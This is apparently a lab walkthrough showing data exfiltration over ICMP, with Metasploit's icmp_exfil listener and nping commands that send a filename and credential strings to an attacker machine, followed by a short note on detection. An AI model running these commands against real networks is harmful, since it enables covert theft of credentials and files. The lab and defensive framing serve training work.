Data exfiltration over ICMP

Using Metasploit auxiliary/server/icmp_exfil:

# msfconsole
msf6 > use auxiliary/server/icmp_exfil
msf6 auxiliary(server/icmp_exfil) > options

Module options (auxiliary/server/icmp_exfil):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   BPF_FILTER       icmp             yes       BFP format filter to listen for
   END_TRIGGER      ^EOF             yes       Trigger for end of file
   FNAME_IN_PACKET  true             yes       Filename presented in first pac
                                               ket straight after START_TRIGGE
                                               R
   INTERFACE                         no        The name of the interface
   RESP_CONT        OK               yes       Data ro resond when continuatio
                                               n of data expected
   RESP_END         COMPLETE         yes       Data to response when EOF recei
                                               ved and data saved
   RESP_START       SEND             yes       Data to respond when initial tr
                                               igger matches
   START_TRIGGER    ^BOF             yes       Trigger for beginning of file

Set options:

msf6 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src <IP attack machine>
BPF_FILTER => icmp and not src <IP attack machine>
msf6 auxiliary(server/icmp_exfil) > set INTERFACE tun0

In another terminal, go into the icmp box and start the transmission:

thm@jump-box$ ssh thm@icmp.thm.com
thm@icmp-host:~# sudo nping --icmp -c 1 <IP attack machine> --data-string "BOFfile.txt"

Send the data:

thm@icmp-host:~# sudo nping --icmp -c 1 <IP attack machine> --data-string "admin:password"

thm@icmp-host:~# sudo nping --icmp -c 1 <IP attack machine> --data-string "admin2:password2"

End the transmission:

thm@icmp-host:~# sudo nping --icmp -c 1 <IP attack machine> --data-string "EOF"

Results:

msf6 auxiliary(server/icmp_exfil) > run
    
[*] ICMP Listener started on eth0 (ATTACKBOX_IP). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)
[+] Beginning capture of "file.txt" data
[*] 30 bytes of data received in total
[+] End of File received. Saving "file.txt" to loot
[+] Incoming file "file.txt" saved to loot
[+] Loot filename: /path/to/loot/filename.txt

Counter moves

Echo requests with unusual payload length or volume are the tell, since most networks have no reason for large or frequent ICMP. Egress filtering of ICMP and simple size baselining close it. The defender’s view is in the blue notes on watching the exits.